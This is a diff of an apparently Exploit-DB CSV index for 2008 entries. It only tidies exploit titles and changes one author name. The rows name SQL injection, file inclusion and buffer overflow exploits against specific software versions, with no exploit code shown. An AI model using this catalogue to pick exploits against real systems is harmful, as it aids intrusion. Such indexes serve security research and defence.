 5329,platforms/php/webapps/5329.txt,"Woltlab Burning Board Addon JGS-Treffen SQL Injection Vulnerability",2008-03-31,n/a,php,webapps,0
-5330,platforms/windows/remote/5330.c,"mod_jk2 v2.0.2 for Apache 2.0 Remote Buffer Overflow Exploit (win32)",2008-03-31,Heretic2,windows,remote,80
+5330,platforms/windows/remote/5330.c,"Apache 2.0 mod_jk2 2.0.2 - Remote Buffer Overflow Exploit (win32)",2008-03-31,Heretic2,windows,remote,80
 5331,platforms/php/webapps/5331.pl,"Neat weblog 0.2 (articleId) Remote SQL Injection Vulnerability",2008-03-31,IRCRASH,php,webapps,0
 5332,platforms/windows/remote/5332.html,"Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit",2008-04-01,Elazar,windows,remote,0
 5333,platforms/php/webapps/5333.txt,"EasyNews 40tr (SQL/XSS/LFI) Remote SQL Injection Exploit",2008-04-01,IRCRASH,php,webapps,0
-5334,platforms/php/webapps/5334.txt,"FaScript FaPhoto v1 (show.php id) SQL Injection Vulnerability",2008-04-01,IRCRASH,php,webapps,0
+5334,platforms/php/webapps/5334.txt,"FaScript FaPhoto 1.0 - (show.php id) SQL Injection Vulnerability",2008-04-01,IRCRASH,php,webapps,0
 5335,platforms/php/webapps/5335.txt,"Mambo Component ahsShop <= 1.51 (vara) SQL Injection Vulnerability",2008-04-01,"S@BUN ",php,webapps,0
 5336,platforms/php/webapps/5336.pl,"eggBlog 4.0 Password Retrieve Remote SQL Injection Exploit",2008-04-01,girex,php,webapps,0
 5337,platforms/php/webapps/5337.txt,"Joomla Component actualite 1.0 (id) SQL Injection Vulnerability",2008-04-01,Stack,php,webapps,0
@@ -4985,7 +4985,7 @@ id,file,description,date,author,platform,type,port
 5351,platforms/php/webapps/5351.txt,"KwsPHP Module Archives (id) Remote SQL Injection Vulnerability",2008-04-03,"S@BUN ",php,webapps,0
 5352,platforms/php/webapps/5352.txt,"KwsPHP Module jeuxflash (cat) Remote SQL Injection Vulnerability",2008-04-03,Houssamix,php,webapps,0
 5353,platforms/php/webapps/5353.txt,"KwsPHP Module ConcoursPhoto (C_ID) SQL Injection Vulnerability",2008-04-03,Stack,php,webapps,0
-5354,platforms/windows/dos/5354.c,"Xitami Web Server v2.5c2 LRWP Processing Format String PoC",2008-04-03,bratax,windows,dos,0
+5354,platforms/windows/dos/5354.c,"Xitami Web Server 2.5c2 - LRWP Processing Format String PoC",2008-04-03,bratax,windows,dos,0
 5355,platforms/sco/local/5355.sh,"SCO UnixWare < 7.1.4 p534589 (pkgadd) Local Root Exploit",2008-04-04,qaaz,sco,local,0
 5356,platforms/sco/local/5356.c,"SCO UnixWare Reliant HA Local Root Exploit",2008-04-04,qaaz,sco,local,0
 5357,platforms/sco/local/5357.c,"SCO UnixWare Merge mcd Local Root Exploit",2008-04-04,qaaz,sco,local,0
@@ -5015,7 +5015,7 @@ id,file,description,date,author,platform,type,port
 5381,platforms/php/webapps/5381.txt,"Blog PixelMotion (modif_config.php) Remote File Upload Vulnerability",2008-04-06,JiKo,php,webapps,0
 5382,platforms/php/webapps/5382.txt,"Blog PixelMotion (index.php categorie) SQL Injection Vulnerability",2008-04-06,parad0x,php,webapps,0
 5383,platforms/php/webapps/5383.txt,"Site Sift Listings (id) Remote SQL Injection Vulnerability",2008-04-06,"S@BUN ",php,webapps,0
-5384,platforms/php/webapps/5384.txt,"Prozilla Top 100 v1.2 Arbitrary Delete Stats Vulnerability",2008-04-06,t0pP8uZz,php,webapps,0
+5384,platforms/php/webapps/5384.txt,"Prozilla Top 100 1.2 - Arbitrary Delete Stats Vulnerability",2008-04-06,t0pP8uZz,php,webapps,0
 5385,platforms/php/webapps/5385.txt,"Prozilla Forum Service (forum.php forum) SQL Injection Vulnerability",2008-04-06,t0pP8uZz,php,webapps,0
 5386,platforms/linux/remote/5386.txt,"Apache Tomcat Connector jk2-2.0.2 (mod_jk2) Remote Overflow Exploit",2008-04-06,"INetCop Security",linux,remote,80
 5387,platforms/php/webapps/5387.txt,"Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability",2008-04-06,t0pP8uZz,php,webapps,0
@@ -5046,7 +5046,7 @@ id,file,description,date,author,platform,type,port
 5413,platforms/php/webapps/5413.txt,"Koobi Pro 6.25 gallery Remote SQL Injection Vulnerability",2008-04-08,"S@BUN ",php,webapps,0
 5414,platforms/php/webapps/5414.txt,"Koobi Pro 6.25 showimages Remote SQL Injection Vulnerability",2008-04-08,"S@BUN ",php,webapps,0
 5415,platforms/php/webapps/5415.txt,"Koobi 4.4/5.4 gallery Remote SQL Injection Vulnerability",2008-04-08,"S@BUN ",php,webapps,0
-5416,platforms/windows/remote/5416.html,"IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Exploit",2008-04-09,shinnai,windows,remote,0
+5416,platforms/windows/remote/5416.html,"IBiz E-Banking Integrator 2.0 - ActiveX Edition Insecure Method Exploit",2008-04-09,shinnai,windows,remote,0
 5417,platforms/php/webapps/5417.htm,"phpBB Add-on Fishing Cat Portal Remote File Inclusion Exploit",2008-04-09,bd0rk,php,webapps,0
 5418,platforms/php/webapps/5418.pl,"KnowledgeQuest 2.5 Arbitrary Add Admin Exploit",2008-04-09,t0pP8uZz,php,webapps,0
 5419,platforms/php/webapps/5419.txt,"Free Photo Gallery Site Script (path) File Disclosure Vulnerability",2008-04-09,JiKo,php,webapps,0
@@ -5057,7 +5057,7 @@ id,file,description,date,author,platform,type,port
 5424,platforms/linux/local/5424.txt,"Alsaplayer < 0.99.80-rc3 Vorbis Input Local Buffer Overflow Exploit",2008-04-10,"Albert Sellares",linux,local,0
 5425,platforms/php/webapps/5425.pl,"LightNEasy 1.2 (no database) Remote Hash Retrieve Exploit",2008-04-10,girex,php,webapps,0
 5426,platforms/php/webapps/5426.txt,"RX Maxsoft (popup_img.php fotoID) Remote SQL Injection Vulnerability",2008-04-10,"S@BUN ",php,webapps,0
-5427,platforms/windows/dos/5427.pl,"Borland InterBase 2007 ibserver.exe Buffer Overflow PoC",2008-04-11,"Liu Zhen Hua",windows,dos,0
+5427,platforms/windows/dos/5427.pl,"Borland InterBase 2007 - ibserver.exe Buffer Overflow PoC",2008-04-11,"Liu Zhen Hua",windows,dos,0
 5428,platforms/php/webapps/5428.txt,"PHPKB 1.5 Knowledge Base (ID) SQL Injection Vulnerability",2008-04-11,parad0x,php,webapps,0
 5429,platforms/php/webapps/5429.txt,"NewsOffice 1.1 Remote File Inclusion Vulnerability",2008-04-11,RoMaNcYxHaCkEr,php,webapps,0
 5430,platforms/multiple/remote/5430.txt,"HP OpenView Network Node Manager <= 7.53 Multiple Vulnerabilities",2008-04-11,"Luigi Auriemma",multiple,remote,0
@@ -5075,13 +5075,13 @@ id,file,description,date,author,platform,type,port
 5442,platforms/windows/local/5442.cpp,"MS Windows GDI Image Parsing Stack Overflow Exploit (MS08-021)",2008-04-14,Lamhtz,windows,local,0
 5443,platforms/php/webapps/5443.txt,"SmallBiz eShop (content_id) Remote SQL Injection Vulnerability",2008-04-14,Stack,php,webapps,0
 5444,platforms/php/webapps/5444.txt,"BosClassifieds 3.0 (index.php cat) SQL Injection Vulnerability",2008-04-14,"SoSo H H",php,webapps,0
-5445,platforms/windows/remote/5445.cpp,"HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Overflow Exploit",2008-04-14,Heretic2,windows,remote,2954
+5445,platforms/windows/remote/5445.cpp,"HP OpenView NNM 7.5.1 - ovalarmsrv.exe Remote Overflow Exploit",2008-04-14,Heretic2,windows,remote,2954
 5446,platforms/php/webapps/5446.txt,"BosNews 4.0 (article) Remote SQL Injection Vulnerability",2008-04-14,Crackers_Child,php,webapps,0
 5447,platforms/php/webapps/5447.txt,"Koobi CMS 4.2.4/4.2.5/4.3.0 Multiple Remote SQL Injection Vulnerabilities",2008-04-14,JosS,php,webapps,0
 5448,platforms/php/webapps/5448.txt,"Koobi Pro 6.25 poll Remote SQL Injection Vulnerability",2008-04-14,"S@BUN ",php,webapps,0
 5449,platforms/php/webapps/5449.php,"KwsPHP (Upload) Remote Code Execution Exploit",2008-04-14,Ajax,php,webapps,0
 5450,platforms/php/webapps/5450.txt,"Classifieds Caffe (index.php cat_id) SQL Injection Vulnerability",2008-04-15,JosS,php,webapps,0
-5451,platforms/windows/remote/5451.py,"BigAnt Server 2.2 PreAuth Remote SEH Overflow Exploit (0day)",2008-04-15,"Matteo Memelli",windows,remote,6080
+5451,platforms/windows/remote/5451.py,"BigAnt Server 2.2 PreAuth Remote SEH Overflow Exploit (0day)",2008-04-15,ryujin,windows,remote,6080
 5452,platforms/php/webapps/5452.txt,"LightNEasy SQLite / no database <= 1.2.2 Multiple Remote Vulnerabilities",2008-04-15,girex,php,webapps,0
 5453,platforms/windows/dos/5453.pl,"DivX Player <= 6.7.0 SRT File Buffer Overflow PoC",2008-04-15,securfrog,windows,dos,0
 5454,platforms/php/webapps/5454.txt,"Lasernet CMS 1.5 (new) Remote SQL Injection Vulnerability",2008-04-15,cO2,php,webapps,0
@@ -5095,7 +5095,7 @@ id,file,description,date,author,platform,type,port
 5462,platforms/windows/local/5462.py,"DivX Player 6.6.0 SRT File SEH Buffer Overflow Exploit",2008-04-18,muts,windows,local,0
 5463,platforms/php/webapps/5463.txt,"Grape Statistics 0.2a (location) Remote File Inclusion Vulnerability",2008-04-18,MajnOoNxHaCkEr,php,webapps,0
 5464,platforms/php/webapps/5464.txt,"5th Avenue Shopping Cart (category_ID) SQL Injection Vulnerability",2008-04-18,"Aria-Security Team",php,webapps,0
-5465,platforms/php/webapps/5465.txt,"2532|Gigs <= 1.2.2 Arbitrary Database Backup/Download Vulnerability",2008-04-18,t0pP8uZz,php,webapps,0
+5465,platforms/php/webapps/5465.txt,"2532/Gigs <= 1.2.2 - Arbitrary Database Backup/Download Vulnerability",2008-04-18,t0pP8uZz,php,webapps,0
 5466,platforms/php/webapps/5466.pl,"OpenInvoice 0.9 Arbitrary Change User Password Exploit",2008-04-18,t0pP8uZz,php,webapps,0
 5467,platforms/php/webapps/5467.txt,"PhShoutBox <= 1.5 (final) Insecure Cookie Handling Vulnerability",2008-04-18,t0pP8uZz,php,webapps,0
 5468,platforms/php/webapps/5468.txt,"Simple Customer 1.2 (contact.php id) SQL Injection Vulnerability",2008-04-18,t0pP8uZz,php,webapps,0
@@ -5166,7 +5166,7 @@ id,file,description,date,author,platform,type,port
 5533,platforms/php/webapps/5533.txt,"BlogMe PHP (comments.php id) SQL Injection Vulnerability",2008-05-03,His0k4,php,webapps,0
 5534,platforms/multiple/remote/5534.txt,"HLDS WebMod 0.48 Multiple Remote Vulnerabilties",2008-05-03,"Luigi Auriemma",multiple,remote,0
 5535,platforms/php/webapps/5535.txt,"Smartblog (index.php tid) Remote SQL Injection Vulnerability",2008-05-03,His0k4,php,webapps,0
-5536,platforms/windows/remote/5536.php,"HLDS WebMod 0.48  (rconpass) Remote Heap Overflow Exploit",2008-05-03,SkOd,windows,remote,0
+5536,platforms/windows/remote/5536.php,"HLDS WebMod 0.48 (rconpass) Remote Heap Overflow Exploit",2008-05-03,SkOd,windows,remote,0
 5537,platforms/php/webapps/5537.txt,"phpDirectorySource 1.1 Multiple Remote SQL Injection Vulnerabilities",2008-05-03,InjEctOr5,php,webapps,0
 5538,platforms/php/webapps/5538.txt,"cpLinks 1.03 (bypass/SQL/XXS) Multiple Remote Vulnerabilities",2008-05-04,InjEctOr5,php,webapps,0
 5539,platforms/php/webapps/5539.txt,"ScorpNews 1.0 (example.php site) Remote File Inclusion Vulnerability",2008-05-04,Silver,php,webapps,0
@@ -5179,7 +5179,7 @@ id,file,description,date,author,platform,type,port
 5546,platforms/php/webapps/5546.txt,"BackLinkSpider (cat_id) Remote SQL Injection Vulnerability",2008-05-05,K-159,php,webapps,0
 5547,platforms/windows/dos/5547.txt,"Novell eDirectory < 8.7.3 SP 10 / 8.8.2 HTTP headers DOS Vulnerability",2008-05-05,Nicob,windows,dos,0
 5548,platforms/php/webapps/5548.txt,"Miniweb 2.0 (historymonth) Remote SQL Injection Vulnerability",2008-05-05,HaCkeR_EgY,php,webapps,0
-5549,platforms/php/webapps/5549.txt,"Power Editor 2.0 Remote File Disclosure / Edit  Vulnerability",2008-05-05,"Virangar Security",php,webapps,0
+5549,platforms/php/webapps/5549.txt,"Power Editor 2.0 Remote File Disclosure / Edit Vulnerability",2008-05-05,"Virangar Security",php,webapps,0
 5550,platforms/php/webapps/5550.php,"DeluxeBB <= 1.2 Multiple Remote Vulnerabilities Exploit",2008-05-05,EgiX,php,webapps,0
 5551,platforms/php/webapps/5551.txt,"Pre Shopping Mall 1.1 (search.php search) SQL Injection Vulnerability",2008-05-06,t0pP8uZz,php,webapps,0
 5552,platforms/php/webapps/5552.txt,"PHPEasyData 1.5.4 (cat_id) Remote SQL Injection Vulnerability",2008-05-06,InjEctOr5,php,webapps,0
@@ -5287,8 +5287,8 @@ id,file,description,date,author,platform,type,port
 5661,platforms/php/webapps/5661.txt,"Netious CMS 0.4 (index.php pageid) SQL Injection Vulnerability",2008-05-21,InjEctOr5,php,webapps,0
 5662,platforms/cgi/webapps/5662.txt,"Alcatel OmniPCX Office 210/061.1 Remote Command Execution Vuln",2008-05-21,DSecRG,cgi,webapps,0
 5663,platforms/php/webapps/5663.txt,"6rbScript (news.php newsid) Remote SQL Injection Vulnerability",2008-05-21,"Hussin X",php,webapps,0
-5664,platforms/php/webapps/5664.txt,"Webl?sninger <= v4 (XSS/SQL) Multiple Remote Vulnerabilities",2008-05-21,Mr.SQL,php,webapps,0
-5665,platforms/php/webapps/5665.txt,"Netbutikker <= v4 Remote SQL Injection Vulnerabilities",2008-05-21,Mr.SQL,php,webapps,0
+5664,platforms/php/webapps/5664.txt,"Webl?sninger <= 4 - (XSS/SQL) Multiple Remote Vulnerabilities",2008-05-21,Mr.SQL,php,webapps,0
+5665,platforms/php/webapps/5665.txt,"Netbutikker <= 4 - Remote SQL Injection Vulnerabilities",2008-05-21,Mr.SQL,php,webapps,0
 5666,platforms/php/webapps/5666.txt,"e107 Plugin BLOG Engine 2.2 (uid) Blind SQL Injection Vulnerability",2008-05-22,"Virangar Security",php,webapps,0
 5667,platforms/windows/local/5667.py,"VLC 0.8.6d SSA Parsing Double Sh311 Universal Exploit",2008-05-23,j0rgan,windows,local,0
 5668,platforms/php/webapps/5668.txt,"Quate CMS 0.3.4 (RFI/LFI/XSS/DT) Multiple Remote Vulnerabilities",2008-05-23,DSecRG,php,webapps,0
@@ -5310,11 +5310,11 @@ id,file,description,date,author,platform,type,port
 5684,platforms/php/webapps/5684.txt,"Joomla Component Artist (idgalery) SQL Injection Vulnerability",2008-05-28,Cr@zy_King,php,webapps,0
 5685,platforms/php/webapps/5685.txt,"FlashBlog (articulo_id) Remote SQL Injection Vulnerability",2008-05-28,HER0,php,webapps,0
 5687,platforms/windows/dos/5687.txt,"Adobe Acrobat Reader <= 8.1.2 Malformed PDF Remote DOS PoC",2008-05-29,securfrog,windows,dos,0
-5688,platforms/php/webapps/5688.php,"SyntaxCMS <=  1.3 (fckeditor) Arbitrary File Upload Exploit",2008-05-29,Stack,php,webapps,0
+5688,platforms/php/webapps/5688.php,"SyntaxCMS <= 1.3 (fckeditor) Arbitrary File Upload Exploit",2008-05-29,Stack,php,webapps,0
 5689,platforms/php/webapps/5689.txt,"AirvaeCommerce 3.0 (pid) Remote SQL Injection Vulnerability",2008-05-29,QTRinux,php,webapps,0
 5690,platforms/php/webapps/5690.txt,"PicoFlat CMS 0.5.9 Local File Inclusion Vulnerabilitty (win)",2008-05-29,gmda,php,webapps,0
 5691,platforms/php/webapps/5691.php,"CMS from Scratch <= 1.1.3 (fckeditor) Remote Shell Upload Exploit",2008-05-29,EgiX,php,webapps,0
-5692,platforms/php/webapps/5692.pl,"Mambo Component mambads  <= 1.0 RC1 Beta SQL Injection Vulnerability",2008-05-29,Houssamix,php,webapps,0
+5692,platforms/php/webapps/5692.pl,"Mambo Component mambads <= 1.0 RC1 Beta SQL Injection Vulnerability",2008-05-29,Houssamix,php,webapps,0
 5693,platforms/php/webapps/5693.txt,"CMS from Scratch <= 1.1.3 (image.php) Directory Traversal Vulnerability",2008-05-29,Stack,php,webapps,0
 5694,platforms/windows/remote/5694.cpp,"ASUS DPC Proxy 2.0.0.16/19 Remote Buffer Overflow Exploit",2008-05-29,Heretic2,windows,remote,623
 5695,platforms/windows/remote/5695.cpp,"Now SMS/MMS Gateway 5.5 Remote Buffer Overflow Exploit",2008-05-29,Heretic2,windows,remote,8800
@@ -5330,10 +5330,10 @@ id,file,description,date,author,platform,type,port
 5705,platforms/asp/webapps/5705.txt,"BP Blog 6.0 (id) Remote Blind SQL Injection Vulnerability",2008-05-31,JosS,asp,webapps,0
 5706,platforms/php/webapps/5706.php,"EasyWay CMS (index.php mid) Remote SQL Injection Exploit",2008-05-31,Lidloses_Auge,php,webapps,0
 5707,platforms/php/webapps/5707.txt,"Social Site Generator (path) Remote File Inclusion Vulnerability",2008-05-31,vBmad,php,webapps,0
-5708,platforms/php/webapps/5708.txt,"Joomla Component  prayercenter <= 1.4.9 (id) SQL Injection Vulnerability",2008-05-31,His0k4,php,webapps,0
+5708,platforms/php/webapps/5708.txt,"Joomla Component prayercenter <= 1.4.9 (id) SQL Injection Vulnerability",2008-05-31,His0k4,php,webapps,0
 5709,platforms/windows/dos/5709.pl,"freeSSHd 1.2.1 Remote Stack Overflow PoC (auth)",2008-05-31,securfrog,windows,dos,0
 5710,platforms/php/webapps/5710.pl,"Joomla Component com_biblestudy 1.5.0 (id) SQL Injection Exploit",2008-05-31,Stack,php,webapps,0
-5711,platforms/php/webapps/5711.txt,"Social Site Generator v2 Multiple Remote File Disclosure Vulnerabilities",2008-06-01,Stack,php,webapps,0
+5711,platforms/php/webapps/5711.txt,"Social Site Generator 2.0 - Multiple Remote File Disclosure Vulnerabilities",2008-06-01,Stack,php,webapps,0
 5712,platforms/multiple/dos/5712.pl,"Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC",2008-06-01,"Guido Landi",multiple,dos,0
 5713,platforms/php/webapps/5713.txt,"ComicShout 2.8 (news.php news_id) SQL Injection Vulnerability",2008-06-01,JosS,php,webapps,0
 5714,platforms/php/webapps/5714.pl,"Joomla Component com_mycontent 1.1.13 Blind SQL Injection Exploit",2008-06-01,His0k4,php,webapps,0
@@ -5371,7 +5371,7 @@ id,file,description,date,author,platform,type,port
 5748,platforms/php/webapps/5748.txt,"Joomla Component JoomlaDate (user) SQL injection Vulnerability",2008-06-05,His0k4,php,webapps,0
 5749,platforms/multiple/dos/5749.pl,"Asterisk (SIP channel driver / in pedantic mode) Remote Crash Exploit",2008-06-05,"Armando Oliveira",multiple,dos,0
 5750,platforms/windows/remote/5750.html,"Black Ice Software Inc Barcode SDK (BIDIB.ocx) Multiple Vulns",2008-06-05,shinnai,windows,remote,0
-5751,platforms/windows/remote/5751.pl,"freeSSHd 1.2.1 (Post Auth) Remote SEH Overflow Exploit",2008-06-06,"Matteo Memelli",windows,remote,22
+5751,platforms/windows/remote/5751.pl,"freeSSHd 1.2.1 (Post Auth) Remote SEH Overflow Exploit",2008-06-06,ryujin,windows,remote,22
 5752,platforms/php/webapps/5752.pl,"Joomla Component GameQ <= 4.0 Remote SQL injection Vulnerability",2008-06-07,His0k4,php,webapps,0
 5753,platforms/asp/webapps/5753.txt,"JiRo?s FAQ Manager (read.asp fID) SQL Injection Vulnerability",2008-06-08,Zigma,asp,webapps,0
 5754,platforms/php/webapps/5754.txt,"PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities",2008-06-08,"CWH Underground",php,webapps,0
@@ -5389,7 +5389,7 @@ id,file,description,date,author,platform,type,port
 5766,platforms/php/webapps/5766.txt,"Realm CMS <= 2.3 Multiple Remote Vulnerabilities",2008-06-09,BugReport.IR,php,webapps,0
 5767,platforms/php/webapps/5767.php,"Flux CMS <= 1.5.0 (loadsave.php) Remote Arbitrary File Overwrite Exploit",2008-06-09,EgiX,php,webapps,0
 5768,platforms/php/webapps/5768.txt,"pNews 2.08 (shownews) Remote SQL Injection Vulnerability",2008-06-09,Cr@zy_King,php,webapps,0
-5769,platforms/php/webapps/5769.pl,"Telephone Directory 2008 Arbitrary Delete Contact  Exploit",2008-06-09,Stack,php,webapps,0
+5769,platforms/php/webapps/5769.pl,"Telephone Directory 2008 Arbitrary Delete Contact Exploit",2008-06-09,Stack,php,webapps,0
 5770,platforms/php/webapps/5770.php,"Achievo <= 1.3.2 (fckeditor) Arbitrary File Upload Exploit",2008-06-09,EgiX,php,webapps,0
 5771,platforms/php/webapps/5771.txt,"ErfurtWiki <= R1.02b (css) Local File Inclusion Vulnerabilities",2008-06-10,Unohope,php,webapps,0
 5772,platforms/php/webapps/5772.txt,"DCFM Blog 0.9.4 (comments) Remote SQL Injection Vulnerability",2008-06-10,Unohope,php,webapps,0
@@ -5416,7 +5416,7 @@ id,file,description,date,author,platform,type,port
 5793,platforms/windows/remote/5793.html,"muvee autoProducer <= 6.1 (TextOut.dll) ActiveX Remote BOF Exploit",2008-06-12,Nine:Situations:Group,windows,remote,0
 5794,platforms/php/webapps/5794.pl,"Clever Copy 3.0 (results.php) Remote SQL Injection Exploit",2008-06-12,n/a,php,webapps,0
 5795,platforms/windows/remote/5795.html,"XChat <= 2.8.7b (URI Handler) Remote Code Execution Exploit (ie6/ie7)",2008-06-13,securfrog,windows,remote,0
-5796,platforms/php/webapps/5796.php,"GLLCTS2 <= 4.2.4 (login.php detail) SQL Injection Exploit",2008-06-12,TheDefaced,php,webapps,0
+5796,platforms/php/webapps/5796.php,"GLLCTS2 <= 4.2.4 - (login.php detail) SQL Injection Exploit",2008-06-12,TheDefaced,php,webapps,0
 5797,platforms/php/webapps/5797.txt,"Butterfly Organizer 2.0.0 (SQL/XSS) Multiple Remote Vulnerabilities",2008-06-13,"CWH Underground",php,webapps,0
 5798,platforms/php/webapps/5798.pl,"WebChamado 1.1 Arbitrary Add Admin Exploit",2008-06-13,"CWH Underground",php,webapps,0
 5799,platforms/php/webapps/5799.pl,"Mambo Component galleries 1.0 (aid) Remote SQL Injection Exploit",2008-06-13,Houssamix,php,webapps,0
@@ -5474,7 +5474,7 @@ id,file,description,date,author,platform,type,port
 5852,platforms/php/webapps/5852.txt,"netBIOS (showNews.php newsid) SQL Injection Vulnerability",2008-06-18,"security fears team",php,webapps,0
 5853,platforms/php/webapps/5853.txt,"Maxtrade AIO 1.3.23 (categori) Remote SQL Injection Vulnerability",2008-06-18,HaCkeR_EgY,php,webapps,0
 5854,platforms/php/webapps/5854.txt,"Mybizz-Classifieds (index.php cat) SQL Injection Vulnerability",2008-06-18,HaCkeR_EgY,php,webapps,0
-5855,platforms/php/webapps/5855.txt,"Easy Webstore 1.2 (index.php postid)  Remote SQL Injection Vulnerability",2008-06-18,Mr.SQL,php,webapps,0
+5855,platforms/php/webapps/5855.txt,"Easy Webstore 1.2 (index.php postid) Remote SQL Injection Vulnerability",2008-06-18,Mr.SQL,php,webapps,0
 5856,platforms/php/webapps/5856.txt,"nweb2fax <= 0.2.7 Multiple Remote Vulnerabilities",2008-06-18,dun,php,webapps,0
 5857,platforms/php/webapps/5857.txt,"Carscripts Classifieds (index.php cat) Remote SQL Injection Vulnerability",2008-06-18,Stack,php,webapps,0
 5858,platforms/php/webapps/5858.txt,"BoatScripts Classifieds (index.php type) SQL Injection Vulnerability",2008-06-18,Stack,php,webapps,0
@@ -5487,7 +5487,7 @@ id,file,description,date,author,platform,type,port
 5865,platforms/php/webapps/5865.txt,"CaupoShop Classic 1.3 (saArticle[ID]) Remote SQL Injection Vulnerability",2008-06-19,n/a,php,webapps,0
 5866,platforms/php/webapps/5866.txt,"Lotus Core CMS 1.0.1 Remote File Inclusion Vulnerabilities",2008-06-19,Ciph3r,php,webapps,0
 5867,platforms/php/webapps/5867.txt,"AJ Auction Web 2.0 (cate_id) SQL Injection Vulnerability",2008-06-19,"Hussin X",php,webapps,0
-5868,platforms/php/webapps/5868.txt,"AJ Auction v1 (id) Remote SQL Injection Vulnerability",2008-06-19,"Hussin X",php,webapps,0
+5868,platforms/php/webapps/5868.txt,"AJ Auction 1.0 - (id) Remote SQL Injection Vulnerability",2008-06-19,"Hussin X",php,webapps,0
 5869,platforms/php/webapps/5869.txt,"Virtual Support Office-XP <= 3.0.29 Multiple Remote Vulnerabilities",2008-06-20,BugReport.IR,php,webapps,0
 5870,platforms/php/webapps/5870.txt,"GL-SH Deaf Forum <= 6.5.5 Multiple Remote Vulnerabilities",2008-06-20,BugReport.IR,php,webapps,0
 5871,platforms/php/webapps/5871.txt,"FireAnt 1.3 (index.php page) Local File Inclusion Vulnerability",2008-06-20,cOndemned,php,webapps,0
@@ -5503,7 +5503,7 @@ id,file,description,date,author,platform,type,port
 5881,platforms/php/webapps/5881.txt,"@CMS 2.1.1 (readarticle.php article_id) SQL Injection Vulnerability",2008-06-21,Mr.SQL,php,webapps,0
 5882,platforms/php/webapps/5882.txt,"eNews 0.1 (delete.php) Arbitrary Delete Post Vulnerability",2008-06-21,"ilker Kandemir",php,webapps,0
 5883,platforms/php/webapps/5883.txt,"PHP KnowledgeBase Script 2.4 (cat_id) SQL Injection Vulnerability",2008-06-21,"S.L TEAM",php,webapps,0
-5884,platforms/php/webapps/5884.txt,"Aprox CMS Engine v5(.1.0.4) Local File Inclusion Vulnerability",2008-06-21,SkyOut,php,webapps,0
+5884,platforms/php/webapps/5884.txt,"Aprox CMS Engine 5 (1.0.4) - Local File Inclusion Vulnerability",2008-06-21,SkyOut,php,webapps,0
 5885,platforms/php/webapps/5885.pl,"Scientific Image DataBase <= 0.41 Blind SQL Injection Exploit",2008-06-21,t0pP8uZz,php,webapps,0
 5886,platforms/php/webapps/5886.pl,"LaserNet CMS <= 1.5 Arbitrary File Upload Exploit",2008-06-21,t0pP8uZz,php,webapps,0
 5887,platforms/php/webapps/5887.pl,"LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit",2008-06-21,t0pP8uZz,php,webapps,0
@@ -5536,7 +5536,7 @@ id,file,description,date,author,platform,type,port
 5915,platforms/php/webapps/5915.txt,"Joomla Component com_facileforms 1.4.4 RFI Vulnerability",2008-06-23,Kacak,php,webapps,0
 5916,platforms/php/webapps/5916.txt,"Dagger CMS 2008 (dir_inc) Remote File Inclusion Vulnerability",2008-06-23,CraCkEr,php,webapps,0
 5917,platforms/php/webapps/5917.txt,"TinX CMS 1.1 (LFI/XSS) Multiple Remote Vulnerabilities",2008-06-23,CraCkEr,php,webapps,0
-5918,platforms/windows/dos/5918.pl,"uTorrent / BitTorrent  WebIU HTTP 1.7.7/6.0.1 Range header DoS Exploit",2008-06-23,Exodus,windows,dos,0
+5918,platforms/windows/dos/5918.pl,"uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header DoS Exploit",2008-06-23,Exodus,windows,dos,0
 5919,platforms/php/webapps/5919.txt,"MM Chat 1.5 (LFI/XSS) Multiple Remote Vulnerabilities",2008-06-23,CraCkEr,php,webapps,0
 5920,platforms/php/webapps/5920.txt,"Ourvideo CMS 9.5 (RFI/LFI/XSS) Multiple Remote Vulnerabilities",2008-06-23,CraCkEr,php,webapps,0
 5921,platforms/php/webapps/5921.txt,"cmsWorks 2.2 RC4 (mod_root) Remote File Inclusion Vulnerability",2008-06-23,CraCkEr,php,webapps,0
@@ -5610,7 +5610,7 @@ id,file,description,date,author,platform,type,port
 5992,platforms/php/webapps/5992.txt,"CMS little (index.php template) Local File Inclusion Vulnerability",2008-07-02,"CWH Underground",php,webapps,0
 5993,platforms/php/webapps/5993.txt,"Joomla Component com_brightweblinks (catid) SQL Injection Vulnerability",2008-07-02,His0k4,php,webapps,0
 5994,platforms/php/webapps/5994.pl,"Joomla Component QuickTime VR 0.1 Remote SQL Injection Exploit",2008-07-02,Houssamix,php,webapps,0
-5995,platforms/php/webapps/5995.pl,"Joomla Component is 1.0.1  Multiple Remote SQL Injection Exploit",2008-07-02,Houssamix,php,webapps,0
+5995,platforms/php/webapps/5995.pl,"Joomla Component is 1.0.1 Multiple Remote SQL Injection Exploit",2008-07-02,Houssamix,php,webapps,0
 5996,platforms/php/webapps/5996.txt,"phPortal 1.2 Multiple Remote File Inclusions Exploit",2008-07-02,Ciph3r,php,webapps,0
 5997,platforms/php/webapps/5997.pl,"CMS WebBlizzard (index.php page) Blind SQL Injection Exploit",2008-07-03,Bl@ckbe@rD,php,webapps,0
 5998,platforms/php/webapps/5998.txt,"phpWebNews 0.2 MySQL Edition (id_kat) SQL Injection Vulnerability",2008-07-03,storm,php,webapps,0
@@ -5640,12 +5640,12 @@ id,file,description,date,author,platform,type,port
 6023,platforms/php/webapps/6023.pl,"BrewBlogger 2.1.0.1 Arbitrary Add Admin Exploit",2008-07-08,"CWH Underground",php,webapps,0
 6024,platforms/php/webapps/6024.txt,"Boonex Dolphin 6.1.2 Multiple Remote File Inclusion Vulnerabilities",2008-07-08,RoMaNcYxHaCkEr,php,webapps,0
 6025,platforms/php/webapps/6025.txt,"Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vuln",2008-07-08,unknown_styler,php,webapps,0
-6026,platforms/linux/remote/6026.pl,"trixbox (langChoice) Local File Inclusion Exploit (connect-back) v2",2008-07-09,"Jean-Michel BESNARD",linux,remote,80
+6026,platforms/linux/remote/6026.pl,"trixbox (langChoice) - Local File Inclusion Exploit (connect-back) (2)",2008-07-09,"Jean-Michel BESNARD",linux,remote,80
 6027,platforms/php/webapps/6027.txt,"Mole Group Last Minute Script <= 4.0 Remote SQL Injection Vulnerability",2008-07-08,t0pP8uZz,php,webapps,0
